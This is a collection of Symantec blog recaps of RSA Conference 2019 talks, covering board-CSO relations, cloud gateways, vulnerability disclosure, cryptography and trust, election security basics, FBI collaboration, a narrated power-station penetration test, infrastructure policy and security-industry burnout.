Overall, AI will provide benefits to defenders and in addition to providing solutions so customers can safely use Generative AI systems today, we are tuning models for use throughout Symantec products and services. Just as the internet is intertwined in everything today, AI too will just be like a utility. To learn more, we invite you to talk to Symantec about the risks — and benefits — that our AI and ML technologies can provide.
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RSAC 2019: 5 Ways to Revive a Broken Board-CSO Relationship
Tips from security vet Richard Clarke on how to promote more effective CSO-Board communications
Yes we can.
That was the gist of the message to the standing-room only ballroom who turned up at the RSA Conference to hear security expert Richard Clarke explain how to fix the often-fraught relationship that exists between chief security officers (CSOs) and their boards of directors.
It’s hardly a new topic. The lack of effective CSO-board communications and the resulting impact on enterprise security has been the subject of countless discussions at trade shows and industry conferences in the past. But there’s new urgency to get it right nowadays as companies more fully recognize the business threat posed by data breaches.
Against the backdrop of an increasingly dangerous threat landscape, boards of directors are more open to the idea that a nexus exists between cyber security and corporate governance. But getting from A to B sounds easy on paper. In practice, it’s made harder by the absence of a language that both sides can speak.
“I’ve been on boards and briefed boards and see it from both sides. "Boards don’t want words they don’t understand,” said Clarke, the CEO of Good Harbor Security Risk Management. Instead, they want numbers.
All too often, however, they wind up getting something completely different.
We have a tendency within this business to sound a little geeky and use terms that board members are not going to understand.
All too often, however, they wind up getting something completely different.
“We have a tendency within this business to sound a little geeky and use terms that board members are not going to understand,” said Clarke.
There were knowing nods from the audience when Clarke said that. But how to break that bad habit and reach a point where the board and the company’s top risk officer are on the same page? Clarke put forth a framework to serve as a reference guide. It comes with the unwieldy acronym MMGBE – short for Messaging, Metrics, Governance, Budget and Exercises.
Here’s how it breaks down:
Messaging: You’re going to be hard-pressed to find an electrical engineer on a company board and the fact is that most of these folks are not clued into goings-on in the cyber-security world. Clarke said that security executives shouldn’t assume that their boards know much about the big news events rocking the security world. This is where he suggests a regular series of emails and stories earmarked for the board. “Call it cyber news from me,” he joked. “It doesn’t require elaborate work or response…. It’s water torture – drip, drip, drip, drip, framing their perception of the world.”
Metrics: When it comes to speaking the board’s language, Clarke says to save the jargon and replace it with measurable data. “Every board meeting that I’ve ever been in, it’s numbers, numbers. They want metrics,” he said. He added that the key is to provide metrics that you can improve upon. So stay away from charts at the beginning of the budgetary process talking about how everything is fine. “We all have a tendency to say, `I get all A’s.’ It’s better to go in with a set of metrics that shows there’s work to be done. And in the course of the next 2 or 3 years, you can show milestones and justify your budget,” he said.
Governance: Clarke elicited laughter when he asked whether there’s anyone on the board who really cares about cyber. (Actually, he used a saltier term but you get the drift.) That’s why he said the security side needs a champion on the board. Ideally, he said, that’s going to be somebody who is already serving. If not, make an argument that the board add someone to their ranks who is indeed cyber-literate. That would allow security execs to cultivate a closer relationship where they would also brief them more frequently than they might with the rest of the board.
At the same time, the CSO shouldn’t remain in a subservient role reporting to the CIO, according to Clarke, who called that arrangement “a rotten idea” as well as a conflict of interest. “The CIO has a different set of priorities: To make things easy and keep uptime going or to bring in that new digital experience or app and not worry about security before they put it online.” The security chief’s responsibility is, well, security. That’s why Clarke recommended a line to the general counsel as well as the right to appeal to the board in case there’s a looming problem that’s flashing red.
“It reminds me of a story I hear about the Space Shuttle explosion,” Clarke recalled. “There was a guy who said, `Stop don’t do the launch.’ But he was ignored. So, they did the launch and everyone got killed. One of the rules that NASA later adopted was that anyone on the launch team - right up to zero liftoff - can stop a launch. It might cost tens of millions of dollars and you don’t want to do that unless you’re damned sure you should.” He said the same authority should extend to security. “If you haven’t secured it, as part of governance, then you need authority to stop the launch until the CEO, and perhaps the board, get to review the risk,” he added.
Budget: Budget leads back to metrics. Clarke said the security lead should come up with a road map so that the board is signed up to funding the plan. At a minimum, push for a 3-year funding plan so that there’s a multi-year plan backed by a multi-year budget.
Exercises: Lastly, conduct regular security exercises and involve the board to watch the emergency plan in action. The reason for exercises is so that when there’s a real crisis, everyone knows their role. The slogan Clarke uses is don’t let your big crisis be the first one that happens. Besides, this isn’t a crisis. It’s a simulation that can later serve as an educational tool. “It’s valuable for C-level people to learn what they don’t know,” said Clarke, who also served as a senior security official in the Obama and the second Bush administrations. He drew a parallel with the crisis planning that went on before the worst-ever attack on the homeland on 9/11. Clarke said the government continued to function despite the chaos of that day because each individual department had already done their own emergency planning drills and knew how to react. All the more reason to port that lesson over to the private sector and let board members watch what happens during a simulated cyber crisis. The experience, he said, would “be invaluable.”
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RSAC 2019: A Security Gateway War is Brewing
Symantec’s Nico Popp takes a look at the future of cloud security for unmanaged devices
When it comes to predicting the future of cloud security for unmanaged devices, Nico Popp made it simple: You don’t need a crystal ball to know that the answer will come down to picking the right gateway.
Popp, Symantec’s senior vice-president of Information Protection, spoke as part of the Cloud Security Alliance Summit, a one-day event held inside the RSA Conference taking place this week in San Francisco.
Offering an expansive overview of the current state of the union around cloud security, Popp said that the money is in the “older” technology Cloud Access Security Broker technology – where, he said, five years is a veritable eternity. Though a proponent of CASB, Popp also spoke about the need to adopt a forward-looking approach to cloud security for all unmanaged devices running any and all applications. We are now well past the days of shadow IT posing the greatest risks, he cautioned.
API-based CASB deployment is the new norm and we are about to enter the age of the security gateway. In fact, “a security Gateway War is brewing," Popp said. But which security approach will win? Will it be the traditional web security gateway that protects a very large set of web applications? The CASB gateway that provides the finest grain controls? Or perhaps the new kid on the block - the software defined perimeter gateway that can obfuscate our own cloud apps from the bad guys?
When it comes to predicting the future of cloud security for unmanaged devices, you don’t need a crystal ball to know that the answer will come down to picking the right gateway.
These security gateways will converge for sure, he said. Whichever one wins, however, the challenge remains how to protect unmanaged devices accessing cloud applications.
Popp, offering the audience a quick look at the landscape – call it Gateway 101 - on using a cloud proxy, focused attention on two types:
Forward proxy: This provides the broadest coverage when it comes to SaaS apps, but requires an agent to funnel the traffic through the security gateway. This works best for managed devices but not for situations where organizations let their employees bring their devices to work (BYOD.)
Reverse proxy: This works great for BYOD and unmanaged device since it does not require any agent. However, the reverse proxy must rewrite all application URLs to keep the user in the security gateway. Since SaaS apps change of the time, it is hard to achieve breadth of coverage with a reverse proxy.
Popp predicts that a new gateway innovation is required to complement today’s reverse and forward proxy technology . It's called a Mirror Gateway. It's the third and latest proxy option from Symantec, and it can save the day. With a Mirror Gateway you don't need an agent and you don't have to rewrite URLs.
A Mirror Gateway uses web isolation in a new way. Isolation runs your web browser in the cloud to protect you against web threats. In a Mirror gateway, we turn the web isolation technology inward to protect IT applications in the cloud. A Mirror Gateway renders the web page in the cloud and returns a mirror image to the end user machine. Since the browser is running in the cloud, user activity can be monitored, data can be protected, and threats can be stopped. In this way, the user experience isn't slowed, and the gateway is able to manage a larger volume of traffic monitoring than we've seen to date on other gateways. So, which security "gateway will end up ruling them all,” asks Popp. It is everyone’s bet, he said, but one thing is sure: isolation and mirroring will be a critical part of the solution.
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RSAC 2019: As Vulnerability Disclosure Matures, New Challenges Rise Up
Despite broader adoption, vulnerability disclosure remains messy, muddying what ought to be a best practice
When it comes to vulnerability disclosure policies, if your company doesn’t have one, you’re doing security wrong. But as more businesses in cyber security and beyond adopt vulnerability disclosure policies, the road towards broader adoption remains mined with complications. For example, see Symantec's policy here.
That’s according to a panel of experts representing different stakeholders in the cyber security community here at RSAC 2019. Ideally, an independent researcher will find a bug on her own, notify the vendor of the product with the vulnerability, who will respond to her, fix the bug, and, as Art Manion, senior vulnerability analyst at CERT put it from the podium, “everybody’s happy.”
The reality is rarely as clear-cut as Manion would like. One of the most recent examples of a messy disclosure occurred on January 3, 2018, when the Meltdown and Spectre hardware vulnerabilities were detailed by several independent researchers. Some researchers decided to publish their reports six days before the agreed-to date—time which could have been used to finish software patches.
A year later, and the response to the Spectre and Meltdown vulnerabilities remains a case study in how even coordinated vulnerability disclosures with multiple stakeholders can go astray. Panel moderator Paul Kocher, the president and chief scientist of Cryptography Research, Inc. and one of the original researchers who discovered Meltdown and Spectre, noted that some experts feel that vulnerabilities should not be disclosed to the public because they can only serve to enable “black hat” hackers. Instead, they want the vulnerabilities fixed behind the scenes.
Ideally, an independent researcher will find a bug on her own, notify the vendor of the product with the vulnerability, who will respond to her, fix the bug, and everyone's happy.
That dissent, Manion said, muddies what should be a best practice: Even though knowledge of a vulnerability does increase the risk of being exploited, when compared to hiding a vulnerability from the public, and potentially a vendor who might use the software or hardware, public disclosure is “the least bad” option.
“I’d rather know than not,” he said.
After Netscape introduced what’s considered the first vulnerability disclosure policy in 1995, the process of announcing those vulnerabilities to the public slowly took root in the tech world, finally gaining wider adoption as Google, Facebook, Microsoft, and other tech giants adopted the practice. But now that vulnerability disclosures, such as those that Spectre and Meltdown required, can involve thousands of companies, the processes that had been accepted as best practices are being questioned again.
The Spectre and Meltdown situation raises difficult questions for the security community, said Kocher. Not only how to handle disclosure for hardware vulnerabilities, which are more difficult to fix than software, but also how to coordinate hundreds or thousands of vendors, who should coordinate the disclosure, who suffers the consequences of the unpatched zero-day vulnerability, and what happens when there’s no clean, rapid fix?
There are no easy answers to those questions, said panelist Alex Rice, CTO and co-founder of bug bounty and vulnerability disclosure company HackerOne. He described it as “earning trust, coordinating trust, and not doing anything to destroy that trust.”
At QualComm, which deals with both software and hardware bugs, 'the most important part of the process is making sure that the vulnerability report reaches the right researchers," said the company’s vice-president of product security, Alex Gantman.
“You want to be able to fix the issue as sufficiently as possible. You have to have a mechanism for once the issue is identified to leading into this overall process of the RCA, to feeding it to the development team that develops the fix, to the security team that assesses the fix and makes sure it’s correct, and then to propagate it to the product and notify the customers,” Gantman said.
The disclosure process challenges can become even more fraught when the vendor or owner of the product with the vulnerability is a government agency. In those cases, adhering to the ideal workflow isn’t always possible. To help address those cases and foster trust, Manion said he wants to see the adoption of a minimum 24-hour drop notice.
“It’s probably a case-by-case basis. The point is not that they can fix it, but there’s probably a public safety, critical infrastructure protection element that some parts of some governments do,” Manion said. “Reducing their surprise by 24 hours, by one working day, it’s a much softer landing for your disclosure.”
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RSAC 2019: Cryptographers Cite Tech Optimism – for Each 1 Step Back, 2 Steps Forward
Recent breaches have undermined the public’s trust in everything from election to crypto currencies. But steady, quiet progress is underway to repair the damage
With cyber attackers wreaking havoc with everything from national elections to cryptocurrencies, the net effect has been to undermine once widely-held assumptions about what technologies people can truly trust. Technology advances now under development may ultimately help restore a lost sense of confidence but leading figures in the cryptography world say it’s still going to take more time.
“Trust implies believing in something without verifying,” said Paul Kocher, the president and chief scientist of Cryptography Research, Inc. during a wide-ranging discussion at the RSA Conference with fellow cryptographers on the latest trends affecting their field, from voting security to homomorphic encryption to government policy.
For Kocher and his colleagues, the only certainty on the horizon – was more uncertainty. At least for the near-term.
“We’re in for an interesting time,” Kocher said, “and we don’t know how it will play out.”
Just how interesting was left up to fellow panelist Whitfield Diffie, one of the pioneers of public-key cryptography, who mused that a couple of centuries ago, people had more privacy than nowadays. Diffie further raised the prospect of the mainstreaming of computer brain interfaces in a dystopian future in which someone’s personal thoughts would be subject for examination by any authority armed with a court order.
One of the legendary figures in the field of contemporary cryptography, Diffie has a reputation for being an iconoclast and he may have exaggerated for effect. But there was no disguising his frustration at recent government actions taken that Diffie felt undermine the public’s trust in technology. For instance, a bill passed into law last December in Australia calls on providers to insert surveillance backdoors into their software, thus allowing the authorities to monitor private conversations.
The controversy did provide a great line from Prime Minister Malcolm Turnbull to the effect that while the laws of mathematics “are very commendable,” the only law that apply in Australia is the law of Australia.
Technology advances now under development may ultimately help restore a lost sense of confidence but leading figures in the cryptography world say it’s still going to take more time.
"If you extend this to physics,” Diffie joked, “they could ban fission and ensure they are safe from nuclear weapons, or ban certain chemical reactions and solve their global warming problem. It's a step that isn't going to be productive."
Ronald Rivest, a professor at the Massachusetts Institute of Technology and one of the inventors of the RSA algorithm said the concept of trust and trustworthiness is bound up with technology performing properly when it comes to maintaining faith in the fair outcome elections.
“The public needs to believe that technology is doing the right thing,” he said.
“Voting is essential to this democracy and we have to make sure we’re doing it right,” said Rivest. “In 2000, we learned that the voting system is fragile. In 2016, we learned we have adversaries, who are ready to mess with our system.”
When MIT professor Zulfikar Ramzan, who moderated the panel, wondered how long it would take for the general public to gain trust in the torrent of algorithms now flooding into the market, Tal Rabin, named as the latest recipient of RSA’s Annual Award for Excellence in the Field of Mathematics, offered a pithy response: For different technologies, there will be different wait times.
She pointed to the example of Bitcoin, a crypto currency that enjoyed relatively immediate adoption. Yet at the same time, Rabin noted there were far more examples of technologies that developed over decades but only now are getting deployed.
“Things have taken time to move from the theory to the practice, she said.
And even then, there are setbacks that can shake the public’s trust in the technology. Rabin mentioned recent attacks where cyber criminals were able to hack blockchains, something that was once thought to be all but impossible. Since the start of 2017, it’s estimated that hackers have stolen nearly $2 billion worth of cryptocurrency, largely from exchanges.
“Is it something that should deter us from these technologies? Maybe we need to move into more advanced type of blockchains as a way of closing off these types of attacks,” she said. “Going forward, we will see blockchains and crypto currency being more adaptive…. New blockchains will have capabilities in them so we can move to a new era of cryptocurrencies.”
To be sure, the news items coming off the transom that draw the most public attention are the ones that scream. And as Kocher noted at the end of the session, bad things happen quickly but good things take enormous effort and time.
“These things are hard,” he said. “A lot of us are used to working on ‘internet company time’ but these initiatives are measured in decades. They are incredibly important and they are moving forward.”
In other words, for each one step back, it’s still two steps forward.
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RSAC 2019: DNC Security Boss Bob Lord and Symantec CTO Hugh Thompson Talk Security
Bob Lord says that organizations risk further confusing their employees, who are often at a loss as to how to protect their devices from attack
The head of security for the Democratic National Committee has a suggestion about how to promote better cyber security protection. Make it simpler, please. A lot simpler. “When we think about these things, this stuff is still too hard,” says Bob Lord, who was put in charge of security for the Democratic National Convention after the 2016 elections.
Lord, who held top security posts for Twitter and then Yahoo when he worked in the private sector, also offered a critique of an industry he’s grown up in. He said that while sophisticated cyber security solutions remain necessary to keep malicious hacker groups at bay, security remains far too complicated for most users, who are often left confused as to how to properly protect their devices.
In his interactions with the roughly 200 people working at the DNC as well as with the state and local officials responsible for their own campaigns, Lord came away convinced that current approaches to security need to get re-thought in advance of the 2020 elections. For a security expert whose job was created after a foreign hacking campaign that U.S. intelligence agencies say helped Donald Trump get elected, Lord has more than a passing interest in getting this one right.
Drawing on the experience of the last couple of American elections, Lord said that campaigns now faced “dedicated adversaries” who work in teams and are methodical in their methods. “This is not smash-and-grab…we’re talking about [adversaries who make] long-term investments in which you may see only a small part of the attack.”
Organizations not quite sure what their next steps ought to be – other than to hunker down with even more sophisticated defensive solutions – are missing the bigger picture, according to Lord.
The basics are actually the real innovation.
“People come and ask what VPNs to buy or how to design their Wi-Fi,” he said. “As cyber professionals, sometimes I feel that we’re doing a disservice by answering that question. You should do those things – but at a certain point in [the organization’s] maturity.”
His proposal in the meantime? Focus on the “basics.”
“If you do those things, then it’s appropriate to do some of these other things, he said.
Speaking on the final day of the RSA 2019 conference, Lord was interviewed on the keynote stage by RSA Program Committee Chair and Symantec’s CTO, Hugh Thompson.
And he came armed with a checklist to put his words into action.
Patch your software applications
Require employees to use 2-Factor authentication
Deploy a password manager
Lord said that the recommendations actually take up one page – printed front and back – with further details in support of each bullet point on the checklist. But that’s the gist of it. And for Lord, it’s more than enough.
“When I take look at all the attacks I see in the news, if you do these things, you won’t become one of those headlines, he said. “The basics are actually the real innovation.”
He said this will involve discipline, going step by step, with people who may not have deep experience thinking about the security of the products and applications they use each day.
“Even something as simple as updating phones turns out to have issues,” he said, recalling when he encountered staffers who couldn’t update their devices because they had run out of memory. At that point, they had to figure out how to copy – or upload – their pictures to free up storage. “But I also ran into cases where they didn’t know why I was asking them to update their software. They really didn’t know why.”
“Again, if you don’t have any prior experience, it can be daunting,” he said, adding that’s why he’s urging a move to keep things as basic as possible.
Looking ahead, Lord suggested that tech companies could help by implementing automatic protocols, rather than rely on organizations to take the responsibility of ensuring that their workers toe the line on cyber security.
“There is a history of technology providers not making security a default,” he said. “We have an opportunity to reprioritize how companies do security.”
At the same time, he recognized the constraints of a system that doesn’t always reward managers for putting cyber security at the top of their to-do list. People get promoted for more users and thus, more sales, not necessarily for making people safer, Lord said.
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RSAC 2019: FBI Chief Urges Closer Public-Private Collaboration in Cyber Fight
Describing the scope of the current cyber threat landscape as “unparalleled,” Christopher Wray makes pitch for greater pooling of resources
During its 111-year history, the FBI has locked horns with everyone from John Dillinger to Lucky Luciano. But when agency chief Christopher Wray talks about the challenges facing his organization, cyber security is right at the top of his list.
Wray, who was sworn in as FBI Director in August 2017, said that both the range of attack methods as well as their sophistication have continued to increase during his tenure.
“The scope of the threat is unparalleled,” said Wray, who was speaking to attendees at the RSA Conference, which takes place this week in San Francisco.
I think in particular, we’re seeing a greater uptick from various adversaries…and an increase in the trend toward blended threats where foreigners enlist the help of mercenaries,” he said. “Certainly, we’re trying very, very hard to stay focused in order to stay ahead of the threat.”
The range of attack methods as well as their sophistication have continued to increase
That threat is also coming increasingly from overseas. Wray pointed to recent cases the FBI has prosecuted against hacker groups that he said were affiliated with foreign governments. That in turn, Wray added, has added to the burden his agency – and law enforcement more generally – are now forced to shoulder.
“Today’s cyber threat is bigger than any one government agency,” he continued, adding that “cyber now represents a multi-disciplinary threat that requires a multi-disciplinary response.”
That was the jumping off point for the larger reason for his appearance at a venue for geeks: Enlisting greater help from the technical community in what’s shaping up to be a long-term war of attrition with savvy adversaries operating in the shadows.
“The need for a public-private sector partnership is higher than in any other area,” Wray said. He said that one of his goals is to enlist the support of more companies in the private sector to form relationships before trouble hits. The key, he said, is not just mitigation but prevention.
“At the end of the day, we need each other in a way that’s becoming more and more apparent,” Wray said. “Just as technology has become a force multiplier for the good guys, it has become force multiplier for the bad guys.”
Wray said the FBI is also taking more “forward-looking” steps - including routine classified briefings to give companies cyber security guidance – in a bid to help them better operate in today’s threat environment. He talked about some of the assets that the FBI brings to bear in that effort, which includes:
350 offices around the U.S.
A rapid deployment force that’s equipped to respond to cyber attacks almost anywhere in the world
A 24-hour cyber watch team that provides victim notification in case of cyber attacks
Agents working overseas in at least 65 countries
And, he noted, that effort has borne fruit. He referenced an incident where the FBI learned that a hacker had obtained the names of US personnel and then provided the data to ISIS. He said the agency wouldn’t have found out about that breach without the help of their information-sharing program with the private sector.
“I would love to see people come together to work toward solutions,” Wray said, adding that during his 18 months on the job, it’s become increasingly clear “there are solutions if people put their heads together.”
That collaboration has borne fruit. For instance, Symantec has shared its knowledge with the FBI and other law enforcement agencies around the world to help them identify and shut down the attackers’ operations. The company lent informational support to the FBI when the agency dismantled a cyber crime ring that was running a global ad-fraud botnet. The ring had infected as many as 700,000 consumer and data center computers with two types of malware that, together, created counterfeit websites and generated fraudulent traffic to the advertisements on those sites.
All told, the fake visitors generated click-through ad revenue of more than $35 million, paid by businesses unaware that their ads were never actually viewed by real people. The U.S. Attorney’s Office of the Eastern District of New York outlined the scheme in a November 2018 press release that also announced the dismantlement of the network and the arrest of the scheme’s perpetrators.
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RSAC 2019: Getting Inside the Mind of a Hacker
A war of wits gets played out every day – and the hackers come heavily armed
When it comes to getting inside the mind of a malicious hacker, who better than to figure out how they think than a noted “white hacker”.
For the last couple of decades, Joseph Carson has been advising enterprises how to foil the best-laid plans of attackers by using the expertise he’s accumulated as a hacker and veteran PEN tester to find holes in their networks.
“I’m a hacker,” Carson said, introducing himself to an audience that gathered on a side room still within earshot of the hustle and bustle on the floor of the RSA 2019 conference. Nowadays, Carson serves as chief security scientist for Thycotic, a software company based in Talinn, Estonia. (He also worked at Symantec for a decade in a variety of product management slots.)
He was there to share some of the favorite approaches that outsiders use to try and fool defenders. Carson urged organizations not to become complacent about the nature of the threat they face. At the same time, he underscored that they have allies in seemingly unlikely places.
“There is a misperception that all hackers are bad,” said Carson. “It’s the criminals who want to profit and steal from other people. The majority of hackers are here to help you.”
It’s critically important to know how criminal hackers will target you so you can better protect yourself.
And that’s a good thing because Carson demonstrated just how easy it is for a determined attacker to make mincemeat of a supposedly impregnable cyber defense.
In this case, the target was a power station, an installation that tightly controls access to its physical plant and where SCADA systems are used to monitor and control equipment. In other words, it’s the sort of place where security is Jobs No. 1, 2 and 3.
At least that’s the theory. It was up to Carson, who was brought on board 3 years ago, to test the institution’s security readiness. (He wasn’t able to reveal the identity of the company involved in the test.)
"It's critically important to know how criminal hackers will target you so you can better protect yourself," said Carlson, who talked about the trial-and-error approach he employed to gain insider access.
“When I began my resource investigation, I began to wonder what I had got myself into. Power stations are very different. Their physical security is impressive. You couldn’t get near the gates. You couldn’t fly a drone over (the installation) because it’s illegal and you couldn’t gain physical access to the perimeter.”
Other than that, it was a piece of cake.
“The first thing I always do is reconnaissance – I do a digital blueprint to understand everything that I can [about the target.] I might look at videos about what they’re doing, review resumes of people they hire, and try to understand what technologies that they are using.”
In this case, though, he needed to tweak the standard plan.
“I can’t buy SCADA systems on eBay, so I couldn’t have a hands-on look. I had to read all the available documentation on the systems, but that wasn’t easily accessible. Then I focused on, ‘Who are the easiest persons to target? Where do they go for coffee? What football teams do they support?’ Etc.”
Carson was tempted to deploy a phishing campaign that normally allows him to get a foot in the door. He recalled that he often sends victims fake emails Friday afternoons after their offices close notifying victims that they had been clocked for speeding and were now on the clock to pay a fine.
“Everyone has now gone home and the office is closed at 5. Nobody wants to break the law. Another thing we play off is time-based fear of breaking the law. We were saying that if you don’t pay the fine, it will triple within 24 hours.”
He had to modify the attack plan because his main concern was to not get detected.
“If I did a phishing campaign, it would have raised alarms and that would caused me some problems. So, I needed to change my method of access and realized I would need to get inside the power station physically,” he said.
Carson reviewed the reconnaissance data he had compiled and scoured the plant’s supply chain, thinking that he might be able to take a job that would allow him to enter the site premises. “I was even willing to wash floors to gain access,” Carson said.
He didn’t need to.
Carson discovered that a recording crew would be visiting the installation to do a television commercial and he arranged credentials as a photographer who was going to take shots of the crew.
This was a calculated risk given his notoriety within the security industry.
“I was up the night before talking with a friend about the PEN test when he said, `Joe, what if someone recognizes you?’ When you have been doing this for a long time, you get recognized.”
He did not sleep well.
But Carson’s worries were unfounded. Despite what he recalled as “impressive” physical security, he was admitted as a guest.
Lugging his camera equipment in tow, Carson look for opportunities to reach into his pockets, which were bulging with infected USB devices.
“Normally, I would scan the network. We live off the land and use your own solutions to do my scanning. In this case, I wasn’t on the network. I was watching it. I was looking for a place to plug into the network but nothing was exposed. All the controls and potential areas of entry were either locked up or protected behind cabinet doors.
By the time the crew was brought to the engine room, Carson was still stumped how to breach the network and almost ready to concede that, yes, this one time he had met his match.
“I felt I was going to fail when on an engineer’s desk, I saw a piece of printed paper containing passwords and default credentials. I was in shock. This was the keys to the kingdom and it would let me do anything I wanted.”
Victory? Not Yet
Thinking that this was going to be a slam dunk presentation, Carson reported his findings about the flaws and potential risks to the site’s cyber security to the board of directors.
“They don’t do background checks on visitors. Default passwords don’t get changed, etc. – I presented all these vulnerabilities. The board meeting ended. It was `Thank you for your time. The budget was declined and you can go home.’ I was thinking what did I do wrong?”
This was revealing. When Carson sat down with the CSO, he learned that the presentation didn’t help solve any of the board’s business problems and so his report landed with a proverbial thud.
“I talked about cyber security and I realized that I was speaking the wrong language to the board,” he said.
Carson got a reprieve and came back a couple of days later to tell the same story – but in a decidedly different way.
“This time I reported on risks but focused on things like cost and efficiency. I talked about the business and spoke to [the board] on their terms. And here is how cyber security can help you solve the goal.”
This time the message got through. And it also left Carson with words of advice for cyber security professionals when they need to interact with the decision-makers: Keep the message simple and focus on the business, not the technology.
“You need a people-centric approach,” he said. “There’s no space in this industry for complexity.”
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RSAC 2019: Policy Makers Ponder How to Best Defend Leaky U.S. Infrastructure
Aging systems suddenly connected to the internet present inviting targets to foreign rivals, but a fix will take time and patience
There’s been no shortage of concern about the ability of decades-old Operational Technology (OT) environments – including industrial control systems (ICS) and supervisory control and data acquisition (SCADA) systems, switches, sensors, valves and manufacturing technologies – to withstand cyber attack. As these systems connect to Industrial IoT (IIoT) systems, the fear is that hackers will exploit new potential entry points to attack these once-seemingly impregnable infrastructures.
“Our adversaries are getting faster,” said Christopher Krebs, the director of the Department of Homeland Security's Cybersecurity and Infrastructure Security Agency (CISA). “It’s an active space and only going to get more active.” Krebs spoke at RSAC 2019 on Tuesday, to a large crowd.
Indeed, many attackers will be drawn by the existence of aging OT systems, dating back to a pre-cyber risk era. Security experts say these are vulnerable to malware and other cyber threats and in urgent need of upgrading. But this is a proverbial work in progress for industrial environments that have existed for more than 20 years with little to no security strategy.
For most of that time, their very lack of internet connectivity provided a built-in buffer against attacks. That’s no longer true as tens of billions of IIoT devices come online as part of their infrastructures.
It’s also helped to revive a Washington national security debate that took on urgency in 2012, when then Sec. of Defense Leon Panetta, warned that the United States was vulnerable to foreign attacks against its power grid, transportation system, financial networks and government.
Despite a few minor incidents since then, however, the worst-case scenarios have failed to materialize. One of the most high-profile incidents occurred in 2013 when the U.S. Department of Justice indicted 12 people, charging them with a failed attempt to release water from behind the Bowman dam in Rye, New York. In 2017, the FBI warned that the nation’s nuclear, energy, aviation, water and critical manufacturing industries were being targeted along with government entities.
U.S. vulnerability to attack remains a hot-button issue in policy circles.
Despite the absence of anything remotely approaching the “digital Pearl Harbor” Panetta warned about, the digitization of these key industries continues to stir worry among the chattering classes tasked with thinking about these scenarios. How the country responds to the growing threats will impact its diplomatic, military and economic power is a hot topic of debate at this year’s RSA Conference this week in San Francisco.
“I think that we’ve made a lot of progress,” over the years, said Chris Painter, who led the United States’ cyber security diplomatic efforts when he was appointed as the State Department’s coordinator for cyber issues by then-Secretary Hillary Clinton in 2011. “When my office was created, I was the first cyber diplomat. Now there many (doing that job) around the world and that’s good. This is not just a technical issue but also a policy issue…This traditionally was not a partisan issue, though Russia has changed that, obviously.”
Still, U.S. vulnerability to attack remains a hot-button issue in policy circles. In their January testimony before the Senate Select Committee on Intelligence, CIA Director Gina Haspel, Director of National Intelligence Dan Coats, and FBI Director Christopher Wray told Senators that the U.S. is more vulnerable to attacks against critical infrastructure by rival nations with the capability to shut down U.S. infrastructure, including power and energy companies, as occurred in Ukraine in 2015.
Meanwhile, the White House has loosened the rules on the use of digital weapons to defend the U.S.. Its release last year of the National Cyber Strategy authorized offensive cyber operations against adversaries, saying the U.S. was ready to use "all instruments of national power" to "impose consequences" on malicious cyber actors.
That stance came in for criticism at RSAC 2019 where Painter appeared on a panel discussing whether the U.S. was getting it right.
Painter said that while the sharper emphasis on deterring bad actors was a positive, the U.S. has failed to impose follow-up steps to impose consequences for bad behavior. At the same time, argued on behalf of a more nuanced approach to a complicated problem.
“When John Bolton rolled out (the document), he engaged in cyber rattling,” Painter said. “Cyber tools do have a role but they should not be [part of] a haphazard approach.”
Carrots and Sticks
Protecting U.S. assets from attack also depends on engaging other countries and winning agreement governing acceptable cyber behavior. But some speakers here bemoaned the lack of progress agreeing to global norms, let along reaching consensus over defining what actually constitutes malicious cyber behavior.
“What we see right now in the international arena is not a lot of agreement on what cyber activity is,” said Mieke Eoyang, the VP for National Security at Third Way, a public policy group. “What you see is the victimized country saying, `This is malicious activity’ and the other country saying, `We’re fine with this activity and we’re not going to turn the person over.’
The upshot, she said, is a pastiche where private sector companies are increasingly left in an awkward position to fend for themselves. That’s not a position many CEOs relish. In recent months, that’s even led some legislators to suggest companies ought to be able to “hack back” against foreign attackers. It’s not an idea that went over well with the RSA crowd which criticized it as a cyber version of vigilante justice that would be ineffective.
“We should not hack back. That would create chaos,” said Kiersten Todt, the president of Liberty Group Ventures, a risk and crisis management firm. “Government absolutely has to step up…and create more active defense among sectors…but cyber weapons are just that; they’re weapons. You can’t make it up as we go along.”
“Hack backs create more problems than they solve,” Painter agreed, adding that while government needs cyber tools to deter aggressors, “we should also be building alliances.”
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RSAC 2019: Stress and Burnout Takes its Toll on the Security Industry
It’s now common to find employees suffering daily doses of stress in an industry where burnout is common, overlooked, and, unfortunately, often rewarded
When they think about the challenge they face from attackers, the people who work in computer security usually have a clear idea what they’re going to be up against. But while they throw themselves into the daily struggle to protect their organizations from malicious hackers, many aren’t aware of another, equally insidious threat lurking in the shadows: Stress.
"More attention is focused ensuring a nearly infallible security posture, and little on security teams," said Josh Corman, the chief security officer at PTC, a computer software and services developer headquartered in Boston.
It’s a topic that Corman knows from first-hand experience. During the recent RSAC 2019 conference, Corman delivered a personal and frank keynote about the consequences of stress and the burnout it generates. Through the years, Corman said he has witnessed many friends and colleagues change and diminish as employees and as people under the weight of mounting and sustained stress. He also saw how companies reward people for high-performing herculean efforts, only to label them as weak under pressure when they have nothing left to give.
Corman recalled attending an industry conference in Las Vegas, where he interviewed several of the participants asking if they ever suffered from stress and burnout. He was stunned by the admissions of suicide attempts, drug and alcohol abuse, and guilt and shame over putting work before family events.
At the same time, Corman said that attitudes also change when it comes to stress - reaching the point where employees start treating each other with increasing toxicity. Even though companies want to bring more security people on staff, many often fall by the wayside due to high stress on the job. It leaves companies pushing a boulder up a hill only to never reach the top.
Corman raised the possibility that the hard-charging tech business could do itself a double favor: If empathy replaced competitiveness as a dominant principle, he suggested, might it not also lead to a stronger industry? Berkeley psychology professor, Dr. Christina Maslach, the inventor of the Maslach Burnout Inventory, the most commonly used instrument for measuring burnout, offered some statistical ammunition to back up Corman’s idea.
Daily Doses of Stress
Maslach got the term "burnout" from people she interviewed, while discussing their issues and their stress. "Burnout is a response to chronic stressors," advises Maslach, "every day stuff, not just the crises or emergencies, but the things that take away the good of life over time."
In the Maslach Burnout Inventory, there are three main areas where she takes a measurement of a person's wellbeing:
Exhaustion – the classic stress response to the demands put on a person when there's not enough resources.
Cynicism – to become negative, cynical, even hostile about the job and the other people involved. This hardening of the human heart has ripple effects that contribute to poor performance, absenteeism, and mental health issues. People in deep cynicism turn on each other, creating a toxic space where no one is thriving.
Perceived Self-Efficacy – when a person loses her sense of "I'm really good at this" and it becomes "what am I doing here?" or "did I make a mistake being here?" This person no longer feels competent or confident in her work environment.
In addition to the three area measurements, Maslach talks to people about whether the jobs they are in are a good fit for them. She discusses six possible mis-matches or imbalances:
Workload – is there an imbalance of expectations to resources?
Autonomy – is a person allowed discretion and choice on how the job is done?
